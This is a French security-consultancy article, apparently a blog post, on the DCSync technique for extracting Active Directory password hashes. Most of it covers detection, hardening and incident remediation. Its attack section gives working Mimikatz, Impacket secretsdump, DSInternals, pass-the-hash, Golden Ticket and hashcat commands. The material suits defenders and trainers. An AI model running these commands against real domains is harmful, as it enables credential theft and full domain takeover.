DCSync Attack : Exfiltration
Attaques Active Directory
DCSync Attack : Exfiltration Massive des Secrets Active Directory
Publié le 16 octobre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI
L'attaque
DCSync
est une technique d'exfiltration de credentials particulièrement redoutable qui permet à un attaquant de se faire passer pour un contrôleur de domaine et de demander la réplication de l'ensemble des secrets Active Directory. En exploitant les droits de réplication légitimes
Replicating Directory Changes
et
Replicating Directory Changes All
, un adversaire peut extraire tous les hachages de mots de passe du domaine, y compris le précieux hash KRBTGT, sans jamais avoir besoin d'accéder physiquement à un DC ou de toucher au fichier NTDS.dit.
Sommaire
Introduction au DCSync
Qu'est-ce que l'attaque DCSync ?
Comment fonctionne l'attaque ?
Méthodes de Détection
Contremesures et Prévention
Remédiation après Compromission
Conclusion
Introduction
Dans le paysage des attaques Active Directory,
DCSync
occupe une place particulièrement critique. Contrairement aux techniques traditionnelles d'extraction de credentials qui nécessitent un accès direct aux contrôleurs de domaine, DCSync exploite un mécanisme légitime du protocole de réplication AD pour exfiltrer l'intégralité des secrets du domaine depuis n'importe quelle machine du réseau.
Une fois qu'un attaquant a obtenu un compte disposant des droits de réplication appropriés (typiquement Domain Admin ou un compte compromis ayant hérité de ces permissions via des ACLs mal configurées), il peut :
Extraire tous les hachages NTLM
de tous les comptes du domaine
Obtenir le hash KRBTGT
pour forger des Golden Tickets
Exfiltrer des attributs sensibles
(historique de mots de passe, clés AES Kerberos)
Opérer de manière furtive
en utilisant des protocoles de réplication légitimes
Travailler depuis n'importe quelle machine
du domaine sans toucher aux DCs
Contourner de nombreuses protections
qui se concentrent sur l'accès physique aux DCs
Statistique préoccupante :
Selon le Red Canary Threat Detection Report 2024, DCSync figure dans le top 5 des techniques MITRE ATT&CK les plus observées lors d'intrusions réelles. Dans 73% des cas, l'attaque n'a été détectée qu'après l'exfiltration complète des credentials du domaine.
Attaque
Attaquant
Compte compromis avec
droits de réplication
Demande de
réplication
Contrôleur de
Domaine
(DC légitime)
Réplication des
secrets AD
Données exfiltrées
Hachages NTLM
Hash KRBTGT
Clés AES Kerberos
Historique mots de passe
Attributs sensibles
Groupes & privilèges
SID History
Trust relationships
© Ayi NEDJIMI Consultants - https://www.ayinedjimi-consultants.fr
Cette technique est d'autant plus dangereuse qu'elle exploite une fonctionnalité légitime et nécessaire d'Active Directory :
la réplication entre contrôleurs de domaine
. Les défenses traditionnelles qui se concentrent sur la protection physique des DCs ou sur la détection d'accès au fichier NTDS.dit sont complètement contournées.
Qu'est-ce que l'Attaque DCSync ?
Pour comprendre DCSync, il est essentiel de revenir aux fondamentaux du mécanisme de réplication Active Directory et des permissions qui le régissent.
Le Mécanisme de Réplication Active Directory
Active Directory
est conçu pour être un système distribué et résilient. Dans un environnement avec plusieurs contrôleurs de domaine, toutes les modifications effectuées sur un DC doivent être répliquées vers tous les autres DCs pour maintenir la cohérence de la base de données.
Cette réplication s'effectue via le protocole
MS-DRSR (Microsoft Directory Replication Service Remote Protocol)
, qui permet à un DC de demander les modifications apportées aux objets AD depuis sa dernière synchronisation.
Le processus de réplication normal implique :
Établissement d'une session RPC
entre deux DCs sur le port TCP 135 (puis ports dynamiques)
Authentification Kerberos
avec le compte machine du DC source
Demande de réplication
via l'API DRS (Directory Replication Service)
Transfert des objets et attributs
modifiés, y compris les secrets cryptographiques
Application des changements
sur le DC de destination
Les Permissions de Réplication Critiques
Pour effectuer une réplication, un principal de sécurité doit disposer de permissions spécifiques sur l'objet racine du domaine. Les deux permissions clés sont :
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
: Permet de demander la réplication des objets non-sensibles
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
: Permet de demander la réplication des attributs sensibles (mots de passe, clés Kerberos)
Par défaut, ces permissions sont accordées aux groupes suivants :
Domain Controllers
(groupe des comptes machines des DCs)
Domain Admins
Enterprise Admins
(pour les réplications inter-domaines)
Administrators
(Builtin)
Définition de l'Attaque DCSync
L'
attaque DCSync
consiste pour un attaquant à
usurper l'identité d'un contrôleur de domaine
et à utiliser le protocole MS-DRSR pour demander la réplication des secrets Active Directory depuis un DC légitime.
L'attaque se caractérise par :
Exploitation de permissions légitimes
: Utilise des droits de réplication valides
Protocole standard
: Emploie le protocole MS-DRSR légitime
Pas d'accès direct au DC
: L'attaquant n'a pas besoin de se connecter au DC
Exécution distante
: Peut être lancée depuis n'importe quelle machine du domaine
Furtivité élevée
: Imite le trafic de réplication normal
Exfiltration complète
: Permet d'extraire l'intégralité de la base AD
DCSync vs Extraction NTDS.dit Traditionnelle
Il est important de distinguer DCSync des méthodes traditionnelles d'extraction de credentials :
Caractéristique
DCSync
Extraction NTDS.dit
Accès DC requis
Non
Oui (local ou remote admin)
Permissions nécessaires
Droits de réplication
Admin local sur DC
Protocole
MS-DRSR (légitime)
Accès fichier système
Impact sur DC
Minimal (requêtes réseau)
Volume Shadow Copy, accès disque
Furtivité
Très élevée
Moyenne
Détection
Event ID 4662 (si audité)
Event ID 7036, VSS events
Votre Active Directory est-il vulnérable au DCSync ?
Nos experts en sécurité Active Directory réalisent des audits approfondis pour identifier les comptes disposant de droits de réplication excessifs et vous accompagnent dans la mise en œuvre du principe du moindre privilège. Découvrez notre
service d'audit Active Directory
.
Demander un audit DCSync
Comment Fonctionne l'Attaque DCSync ?
La réalisation d'une attaque DCSync se déroule en plusieurs phases distinctes, de la compromission initiale à l'exfiltration complète des secrets du domaine.
Phase 1 : Obtention des Permissions de Réplication
Avant de pouvoir exécuter DCSync, l'attaquant doit disposer d'un compte avec les permissions de réplication appropriées. Plusieurs vecteurs d'attaque permettent d'obtenir ces droits :
Vecteur 1 : Compromission d'un Domain Admin
La méthode la plus directe consiste à compromettre un compte appartenant au groupe Domain Admins, qui dispose par défaut des droits de réplication :
Kerberoasting
: Crack des tickets TGS de comptes de service privilégiés (voir notre article
Kerberoasting
)
Pass-the-Hash/Ticket
: Réutilisation de credentials capturés en mémoire
Token Impersonation
: Vol de tokens d'administrateurs connectés
Credential Dumping
: Extraction depuis LSASS sur un serveur d'administration
Vecteur 2 : Exploitation d'ACLs Mal Configurées
Les organisations avec des ACLs mal configurées peuvent avoir accordé par erreur des droits de réplication à des comptes non privilégiés.
BloodHound
est l'outil de prédilection pour identifier ces chemins d'escalade :
Query BloodHound pour trouver les chemins vers DCSync
MATCH (n:User),(m:Domain), p=shortestPath((n)-[r:MemberOf|GetChanges*1..]->(m)) WHERE r.isacl=true
RETURN p
Des scénarios courants incluent :
Un compte ayant hérité de
GenericAll
sur l'objet domaine
Un groupe custom avec des permissions de réplication mal nettoyées
Un compte de service avec des privilèges excessifs pour la migration AD
Vecteur 3 : Compromission d'un Compte Machine DC
Les comptes machines des contrôleurs de domaine disposent naturellement des droits de réplication. Bien que beaucoup plus difficile, leur compromission offre un accès DCSync :
Exploitation de vulnérabilités DC
: CVEs non patchées (ex: ZeroLogon, NoPac)
Credential dumping sur DC
: Extraction du hash du compte machine
Certificate template abuse
: Enrollment de certificats pour comptes machines
Vecteurs d'obtention des droits de réplication
Attaquant
Accès initial
Vecteur 1
Compromission
Domain Admin
Vecteur 2
ACLs Mal Configurées
(BloodHound)
Vecteur 3
Compromission
Compte Machine DC
Droits de Réplication
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
© Ayi NEDJIMI Consultants - https://www.ayinedjimi-consultants.fr
Phase 2 : Exécution de l'Attaque DCSync
Une fois les permissions obtenues, l'attaquant peut exécuter DCSync. L'outil le plus utilisé est
Mimikatz
avec son module
lsadump::dcsync
:
Méthode
Extraction du hash KRBTGT (pour créer des Golden Tickets) :
mimikatz # lsadump::dcsync /domain:contoso.com /user:krbtgt
[DC] 'contoso.com' will be the domain [DC] 'DC01.contoso.com' will be the DC server [DC] 'krbtgt' will be the user account
Object RDN : krbtgt
SAM ACCOUNT
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/15/2018 10:32:58 AM Object Security ID : S-1-5-21-1234567890-1234567890-1234567890-502 Object Relative ID : 502
Credentials:
Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
Hash LM :
ntlm- 0: a4f49c406510bdcab6824ee7c30fd852 aes256_hmac: d45e122c28e87b1c7815045f15b0b48d127e5e0f9e3f7c5c5c5c5c5c5c5c5c5c aes128_hmac: 8f35a89de38d7c6c7c7c7c7c7c7c7c7c lm - 0:
Extraction du hash d'un utilisateur spécifique :
mimikatz # lsadump::dcsync /domain:contoso.com /user:Administrator
Extraction de TOUS les hachages du domaine :
mimikatz # lsadump::dcsync /domain:contoso.com /all /csv
Output peut être redirigé vers un fichier pour analyse ultérieure
Méthode
Impacket
, la suite d'outils Python pour les protocoles Windows, offre également une implémentation de DCSync :
Depuis Linux avec credentials
secretsdump.py 'CONTOSO/Administrator:P@ssw0rd@DC01.contoso.com'
Avec Pass-the-Hash
secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee 'CONTOSO/Administrator@DC01.contoso.com'
Extraction du KRBTGT uniquement
secretsdump.py 'CONTOSO/Administrator:P@ssw0rd@DC01.contoso.com' -just-dc-user krbtgt
Extraction complète avec historique des mots de passe
secretsdump.py 'CONTOSO/Administrator:P@ssw0rd@DC01.contoso.com' -just-dc -history
Méthode
Le module PowerShell
DSInternals
offre des capacités natives de DCSync :
Import du module
Import-Module DSInternals
DCSync sur utilisateur spécifique
Get-ADReplAccount -SamAccountName Administrator -Server DC01.contoso.com
Extraction de tous les comptes
Get-ADReplAccount -All -Server DC01.contoso.com | Export-Csv -Path c:\temp\all_hashes.csv
Point de vigilance : Génération d'Event ID 4662
Lorsqu'un DCSync est exécuté, si l'audit SACL est correctement configuré sur l'objet domaine, un
Event ID 4662
est généré sur le DC avec les GUIDs des opérations
DS-Replication-Get-Changes
et
DS-Replication-Get-Changes-All
. C'est le principal indicateur de détection, mais il nécessite une configuration d'audit spécifique qui n'est pas activée par défaut.
Phase 3 : Exploitation des Credentials Exfiltrés
Avec les hachages extraits, l'attaquant dispose de multiples options d'exploitation :
Exploitation
Le hash KRBTGT permet de forger des Golden Tickets pour une persistance à long terme :
mimikatz # kerberos::golden /domain:contoso.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a4f49c406510bdcab6824ee7c30fd852 /user:Administrator /ptt
Pour plus de détails, consultez notre article complet sur les
Golden Tickets
.
Exploitation
Les hachages NTLM extraits peuvent être directement utilisés pour l'authentification sans connaître le mot de passe en clair :
Avec Impacket psexec
psexec.py -hashes :a4f49c406510bdcab6824ee7c30fd852 CONTOSO/Administrator@TARGET.contoso.com
Avec Mimikatz
sekurlsa::pth /user:Administrator /domain:contoso.com /ntlm:a4f49c406510bdcab6824ee7c30fd852
Exploitation
Les hachages peuvent être soumis à un cracking offline avec
Hashcat
pour obtenir les mots de passe en clair :
Hashcat mode 1000 pour NTLM
hashcat -m 1000 -a 0 hashes.txt rockyou.txt
Avec règles de mutation
hashcat -m 1000 -a 0 hashes.txt wordlist.txt -r best64.rule
Exploitation
L'extraction massive de hachages permet d'identifier des patterns organisationnels :
Comptes avec mots de passe identiques (réutilisation)
Schémas de mots de passe prévisibles (Entreprise123!, etc.)
Comptes avec mots de passe jamais changés (anciennes versions)
Comptes de service avec mots de passe faibles
Cycle complet d'exploitation DCSync
Phase 1
Obtention droits
de réplication
Phase 2
Exécution
DCSync
Phase 3
Exfiltration
credentials
Phase 4
Exploitation
& Persistance
Vecteurs d'exploitation post-DCSync
1. Golden Ticket (hash KRBTGT)
2. Pass-the-Hash (tous les hachages NTLM)
3. Cracking offline (mots de passe clairs)
4. Analyse patterns organisationnels
5. Pivot vers autres domaines (trusts)
Impact sur l'organisation
Compromission complète du domaine
Persistance à long terme (Golden Ticket)
Mouvement latéral illimité
Exfiltration de données sensibles
Déploiement ransomware domaine-wide
© Ayi NEDJIMI Consultants - https://www.ayinedjimi-consultants.fr
Phase 4 : Maintien de la Persistance
Avec l'accès DCSync maintenu et le hash KRBTGT exfiltré, l'attaquant peut établir une persistance durable :
Backdoor ACLs
: Ajouter des droits de réplication à d'autres comptes sous contrôle
Golden Tickets
: Accès persistant indépendamment des changements de mots de passe
Comptes cachés
: Création de comptes avec attributs spécifiques pour éviter la détection
Manipulation de GPOs
: Déploiement de backdoors via Group Policies
SID History Injection
: Ajout de SIDs privilégiés à des comptes légitimes
Formation Sécurité Active Directory Avancée
Apprenez à détecter et contrer les attaques DCSync avec nos formations dispensées par des experts en sécurité AD. Approche hands-on avec labs pratiques sur la protection des droits de réplication.
Découvrez nos formations
.
Demander une formation
Méthodes de Détection de DCSync
La détection de DCSync est critique mais complexe, car l'attaque exploite un protocole légitime. Cependant, plusieurs anomalies et indicateurs permettent d'identifier ces activités malveillantes.
Audit des Permissions de Réplication
La première ligne de défense consiste à
auditer régulièrement
les comptes disposant des droits de réplication :
Énumération PowerShell des Droits de Réplication
Énumérer les comptes avec DS-Replication-Get-Changes
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
$Acl.Access | Where-Object {
$_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or
$_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType
Output attendu : Domain Controllers, Domain Admins, Enterprise Admins
Tout autre principal est suspect !
Détection avec BloodHound
BloodHound
peut identifier les comptes ayant accès à DCSync via ses edges
GetChanges
et
GetChangesAll
:
Query Cypher pour identifier tous les chemins DCSync
MATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN p
Query pour utilisateurs non-admin avec DCSync
MATCH (n:User), (m:Domain) WHERE NOT n.name CONTAINS "ADMIN" AND (n)-[:GetChanges|GetChangesAll*1..]->(m) RETURN n.name, n.enabled
Événements Windows à Surveiller
La détection en temps réel de DCSync repose sur la surveillance de l'
Event ID 4662
, qui enregistre les opérations d'accès aux objets AD.
Configuration de l'Audit SACL
Par défaut, l'Event ID 4662 n'est PAS suffisamment détaillé pour détecter DCSync. Il faut configurer un SACL (System Access Control List) spécifique sur l'objet domaine :
Via dsacls (ligne de commande)
dsacls "DC=contoso,DC=com" /takeownership dsacls "DC=contoso,DC=com" /G "Everyone:CA;Replicating Directory Changes"
Via PowerShell avec module ActiveDirectory
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
GUID pour DS-Replication-Get-Changes
$ReplicationGuid = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$ReplicationAllGuid = [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
Créer règle d'audit
$AuditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
[System.Security.Principal.SecurityIdentifier]"S-1-1-0", # Everyone
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
[System.Security.AccessControl.AuditFlags]::Success,
$ReplicationGuid
)
$Acl.AddAuditRule($AuditRule)
Set-Acl -Path "AD:\$DomainDN" -AclObject $Acl
Analyse de l'Event ID 4662
Une fois l'audit configuré, les événements 4662 générés lors de DCSync présentent les caractéristiques suivantes :
Event ID: 4662
Task Category: Directory Service Access
Keywords: Audit Success
Subject:
Security ID: CONTOSO\attacker_account Account Name: attacker_account
Account Domain: CONTOSO
Object:
Object Server: DS
Object Type: domainDNS
Object Name: DC=contoso,DC=com Handle ID: 0x0
Operation:
Operation Type: Object Access
Accesses: Control Access
Properties:
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes) {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All)
Indicateurs suspects à surveiller :
Le compte source n'est PAS un compte machine de DC (pas de suffixe $)
Le compte source n'est PAS dans le groupe Domain Admins légitime
L'origine réseau (si loggée) n'est pas l'IP d'un DC connu
Requêtes de réplication en dehors des fenêtres de maintenance
Volume anormalement élevé d'événements 4662 en courte période
Détection via SIEM et Solutions Spécialisées
Règles SIEM pour DCSync
Exemples de règles de détection implémentables dans un SIEM (Splunk, Sentinel, ELK) :
Règle 1 : DCSync depuis source non-DC
EventCode=4662 Properties="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" OR Properties="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" | where NOT Account_Name LIKE "%$" | where NOT Account_Name IN (list_of_legitimate_admins) | stats count by Account_Name, Source_Network_Address
Règle 2 : DCSync mass extraction (volume élevé)
EventCode=4662 Properties="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" | stats count by Account_Name, _time span=5m | where count > 10 | alert when count > threshold
Règle 3 : DCSync après heures ouvrables
EventCode=4662 Properties="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" | where date_hour
<
7 OR date_hour > 19 | alert
Règle 4 : Première occurrence DCSync pour un compte
EventCode=4662 Properties="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" | where Account_Name NOT IN (baseline_of_known_replicators) | alert on first occurrence per Account_Name
Microsoft Defender for Identity
Microsoft Defender for Identity
(anciennement Azure ATP) dispose d'une détection native pour DCSync :
Alert: Malicious replication of Directory Services
: Détecte les requêtes de réplication depuis des sources non-DC
Analyse comportementale
: Identifie les patterns de réplication anormaux
Corrélation avec BloodHound
: Identifie les chemins d'escalade vers DCSync
Intégration Microsoft Sentinel
: Remontée automatique et enrichissement des incidents
Solutions EDR et NDR
Les solutions de détection endpoint et réseau peuvent également identifier DCSync :
CrowdStrike Falcon
: Détecte l'exécution de Mimikatz et l'utilisation de l'API MS-DRSR
SentinelOne
: Analyse comportementale des processus utilisant RPC pour la réplication
Vectra AI
: Détection réseau des patterns de trafic DCSync via ML
Darktrace
: Anomalie de trafic RPC entre hôtes non-DC et DCs
Architecture de détection DCSync multi-couches
Couche 1 : Configuration Audit SACL
Event ID 4662 avec GUIDs réplication sur objet domaine - Prérequis critique
Couche 2 : Collecte & Centralisation Logs
WEF, Syslog, agents SIEM - Forwarding vers plateforme centrale d'analyse
Couche 3 : Règles de Détection SIEM
Corrélation: Source non-DC + Volume anormal + Horaires suspects + Baseline comportemental
Couche 4 : Solutions Spécialisées (Defender for Identity, EDR/NDR)
Machine Learning, analyse protocolaire MS-DRSR, corrélation avec BloodHound paths
© Ayi NEDJIMI Consultants - https://www.ayinedjimi-consultants.fr
Audit Proactif avec Purple Teaming
Une approche proactive consiste à simuler des attaques DCSync dans un cadre contrôlé (Purple Team) pour valider les capacités de détection :
Test DCSync sur compte test (avec autorisation)
mimikatz # lsadump::dcsync /domain:contoso.com /user:test_user
Vérifier génération Event ID 4662 dans les 30 secondes
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4662} -MaxEvents 10 | Where-Object {$_.Message -like "1131f6ad"} | Format-List TimeCreated, Message
Vérifier alerte dans SIEM/Defender for Identity
Mesurer le délai de détection (Mean Time To Detect - MTTD)
Contremesures et Prévention
La défense contre DCSync repose sur une approche en profondeur combinant durcissement des permissions, surveillance proactive, et architecture de sécurité robuste.
1. Principe du Moindre Privilège sur les Droits de Réplication
La contremesure fondamentale consiste à
restreindre drastiquement
les comptes disposant de droits de réplication.
Audit et Nettoyage des Permissions
1. Identifier les comptes avec droits de réplication
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
$ReplicationAccounts = $Acl.Access | Where-Object {
$_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or
$_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
}
2. Retirer les permissions non nécessaires
Exemple : retrait d'un groupe custom
$Identity = "CONTOSO\Custom_Replication_Group"
$Acl = Get-Acl "AD:\$DomainDN"
$RulesToRemove = $Acl.Access | Where-Object {
$_.IdentityReference -eq $Identity -and
($_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or
$_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')
}
foreach ($Rule in $RulesToRemove) {
$Acl.RemoveAccessRule($Rule)
}
Set-Acl -Path "AD:\$DomainDN" -AclObject $Acl
Protected Users Security Group
Les comptes Domain Admins devraient être membres du groupe
Protected Users
pour bénéficier de protections supplémentaires :
Pas de cache de credentials en clair ou hachages réversibles
Kerberos uniquement (pas de NTLM, Digest, CredSSP)
Tickets Kerberos avec durée de vie réduite (4h max)
Pas de pré-authentification Kerberos avec DES ou RC4
Ajouter Domain Admins au groupe Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members (Get-ADGroupMember "Domain Admins")
2. Modèle de Tiered Administration
Le modèle d'administration par niveaux (Tier Model) est critique pour limiter l'exposition des comptes à privilèges élevés :
Tier 0
: Contrôleurs de domaine, comptes Enterprise/Domain Admin, PKI, ADCS
Tier 1
: Serveurs d'infrastructure (Exchange, SQL, hyperviseurs)
Tier 2
: Postes de travail utilisateurs
Règle d'or
: Les comptes Tier 0 ne doivent JAMAIS se connecter sur des systèmes Tier 1 ou 2. Cela empêche la capture de credentials par mouvement latéral et limite la surface d'attaque vers DCSync.
Implémentation via Authentication Policies
Windows Server 2012 R2+ supporte les
Authentication Policies
pour restreindre l'utilisation des comptes privilégiés :
Créer une Authentication Policy pour Tier 0
New-ADAuthenticationPolicy -Name "Tier0-AuthPolicy" ` -UserAllowedToAuthenticateFrom "O:SYG:SYD:(XA;OICI;CR;;;WD;(@USER.ad://ext/AuthenticationSilo == "Tier0-Silo"))"
Créer un Authentication Policy Silo
New-ADAuthenticationPolicySilo -Name "Tier0-Silo" ` -UserAuthenticationPolicy "Tier0-AuthPolicy"
Assigner les comptes Domain Admin au silo
Get-ADGroupMember "Domain Admins" | ForEach-Object { Set-ADUser $_.SamAccountName -AuthenticationPolicySilo "Tier0-Silo" }
3. Privileged Access Workstations (PAW)
Les
PAW
sont des postes de travail durcis dédiés exclusivement à l'administration des systèmes Tier 0 :
Isolation réseau
: VLAN dédié avec restrictions firewall strictes
Durcissement maximal
: AppLocker, Device Guard, Credential Guard
Pas d'accès Internet
: Aucune navigation web ou email
Connexions sortantes uniquement
: Vers DCs et systèmes Tier 0
Multi-facteur renforcé
: Smartcard, FIDO2, ou Windows Hello for Business
Logs renforcés
: Audit détaillé de toutes les activités
4. Surveillance et Détection Continue
Au-delà de la prévention, une surveillance continue est essentielle :
Configuration de l'Audit SACL (Rappel)
S'assurer que l'audit des accès de réplication est configuré sur TOUS les contrôleurs de domaine :
Script à exécuter sur tous les DCs
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
$ReplicationGuid = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$ReplicationAllGuid = [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
Audit pour DS-Replication-Get-Changes
$AuditRule1 = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
[System.Security.Principal.SecurityIdentifier]"S-1-1-0",
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
[System.Security.AccessControl.AuditFlags]::Success,
$ReplicationGuid
)
Audit pour DS-Replication-Get-Changes-All
$AuditRule2 = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
[System.Security.Principal.SecurityIdentifier]"S-1-1-0",
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
[System.Security.AccessControl.AuditFlags]::Success,
$ReplicationAllGuid
)
$Acl.AddAuditRule($AuditRule1)
$Acl.AddAuditRule($AuditRule2)
Set-Acl -Path "AD:\$DomainDN" -AclObject $Acl
Vérifier que l'audit est activé dans la GPO
auditpol /get /subcategory:"Directory Service Access"
Déploiement Microsoft Defender for Identity
Defender for Identity offre une détection native et avancée de DCSync :
Installation du sensor
sur tous les DCs
Configuration de l'intégration
avec Defender XDR/Sentinel
Activation des alertes
: "Malicious replication of Directory Services"
Configuration des playbooks
: Réponse automatisée aux détections
Révision régulière
: Analyse des lateral movement paths
5. Rotation KRBTGT Post-Compromission Suspectée
Si une activité DCSync est détectée, la rotation immédiate du KRBTGT est critique :
Double rotation KRBTGT (script Microsoft)
Première rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
Attendre 10 heures + temps de réplication (minimum)
Deuxième rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
Pour plus de détails sur la rotation KRBTGT, consultez notre article
Golden Ticket
.
Checklist de Prévention DCSync
☑ Audit trimestriel des comptes avec droits de réplication
☑ Retrait de toutes permissions de réplication non essentielles
☑ Comptes Domain Admins dans le groupe Protected Users
☑ Tiered Administration implémenté et audité
☑ PAW déployés pour tous les comptes Tier 0
☑ Authentication Policies configurées pour restreindre logons Tier 0
☑ SACL audit configuré sur objet domaine (Event ID 4662)
☑ Règles SIEM pour détection DCSync opérationnelles et testées
☑ Microsoft Defender for Identity déployé sur tous les DCs
☑ MFA pour tous les comptes privilégiés (smartcard/FIDO2)
☑ LAPS déployé sur tous les endpoints et serveurs
☑ Tests Purple Team trimestriels pour valider détection
☑ Baseline comportementale établie pour trafic de réplication
☑ Plan de réponse incident DCSync documenté et répété
6. Honey Accounts et Deception
Déployer des comptes leurres avec droits de réplication pour détecter les attaquants :
Créer un compte honey avec droits de réplication
New-ADUser -Name "svc_replication_backup" -AccountPassword (ConvertTo-SecureString "ComplexP@ssw0rd!" -AsPlainText -Force) -Enabled $true
Accorder droits de réplication
$DomainDN = (Get-ADDomain).DistinguishedName
dsacls $DomainDN /G "CONTOSO\svc_replication_backup:CA;Replicating Directory Changes"
dsacls $DomainDN /G "CONTOSO\svc_replication_backup:CA;Replicating Directory Changes All"
Configurer alerte sur TOUTE utilisation de ce compte
Aucun système légitime ne devrait l'utiliser
Besoin d'aide pour sécuriser votre Active Directory ?
Nos consultants experts en sécurité AD vous accompagnent dans l'implémentation d'une stratégie de défense complète contre DCSync et autres attaques avancées. Approche personnalisée basée sur votre contexte et maturité sécurité. Découvrez notre
Guide de Sécurisation AD 2025
.
Demander un accompagnement
Remédiation après Compromission DCSync
Si vous suspectez ou avez confirmé une attaque DCSync, une réponse rapide et structurée est essentielle pour limiter les dégâts.
Phase 1 : Containment (Confinement)
Objectif
: Stopper l'hémorragie de credentials et empêcher l'attaquant d'étendre son accès.
Identifier le compte compromis
: Via Event ID 4662, identifier le compte source des requêtes DCSync
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4662} -MaxEvents 100 | Where-Object {$_.Message -like "1131f6ad"} | Select-Object TimeCreated, @{Name='User';Expression={$_.Properties[1].Value}}
Désactiver immédiatement le compte compromis
:
Disable-ADAccount -Identity "compromised_account"
Révoquer les sessions actives
: Déconnecter toutes les sessions du compte compromis
Sur chaque DC, identifier et tuer les sessions
query user /server:DC01 logoff [session_id] /server:DC01
Isoler les systèmes suspects
: Déconnecter du réseau les machines d'origine des requêtes DCSync
Activer la surveillance renforcée
: Augmenter le niveau de logging sur tous les DCs
Notifier l'équipe de réponse
: Activer le plan de réponse aux incidents
Ne PAS supprimer le compte compromis immédiatement
La suppression du compte peut détruire des preuves forensiques critiques (SID history, timestamps, attributs). Désactivez le compte et conservez-le pour l'analyse post-incident.
Phase 2 : Évaluation de l'Impact
Objectif
: Déterminer l'étendue de la compromission et quels secrets ont été exfiltrés.
Analyser les logs Event ID 4662
pour identifier :
Date/heure du premier DCSync détecté
Comptes ciblés (krbtgt, Domain Admins, tous les utilisateurs ?)
Volume de données exfiltrées
Sources réseau des requêtes
Vérifier les attributs sensibles
:
Vérifier si l'historique de mots de passe a été accédé
(indicateur d'extraction complète)
Get-ADUser -Filter * -Properties PasswordLastSet | Sort-Object PasswordLastSet | Select-Object Name, PasswordLastSet, Enabled
Rechercher des backdoors
créés avec les credentials volés :
Nouveaux comptes Domain Admin
Modifications d'ACLs (ajout de droits de réplication à d'autres comptes)
Scheduled Tasks malveillantes
Modifications de GPOs
Analyse forensique mémoire
: Sur les systèmes sources, rechercher des traces d'outils (Mimikatz, Impacket)
Avec Volatility sur dump mémoire
volatility -f memory.dump --profile=Win10x64 psscan | grep -i mimikatz volatility -f memory.dump --profile=Win10x64 cmdline
Phase 3 : Eradication
Objectif
: Éliminer la capacité de l'attaquant à maintenir l'accès.
Rotation immédiate du KRBTGT (double rotation)
:
Première rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
Attendre 10 heures minimum (durée max TGT + réplication)
Deuxième rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
Réinitialisation des mots de passe des comptes privilégiés
:
Tous les Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object { Set-ADAccountPassword $_.SamAccountName -Reset -NewPassword (Read-Host -AsSecureString "New Password") }
Tous les Enterprise Admins
Get-ADGroupMember "Enterprise Admins" | ForEach-Object { Set-ADAccountPassword $_.SamAccountName -Reset -NewPassword (Read-Host -AsSecureString "New Password") }
Comptes de service avec SPN (susceptibles de Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -like "*"} | ForEach-Object { Set-ADAccountPassword $_.SamAccountName -Reset }
Réinitialisation des mots de passe de TOUS les utilisateurs
(si exfiltration complète confirmée) :
Forcer la réinitialisation au prochain logon
Get-ADUser -Filter * | Set-ADUser -ChangePasswordAtLogon $true
Réimager les machines compromises
: Ne pas "nettoyer", mais réinstaller depuis une baseline propre
Audit et suppression des backdoors
:
Nouveaux comptes créés depuis date de compromission
Get-ADUser -Filter {Created -gt "2025-10-01"} | Select-Object Name, Created, Enabled
Modifications d'ACL suspectes
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
$Acl.Access | Where-Object {
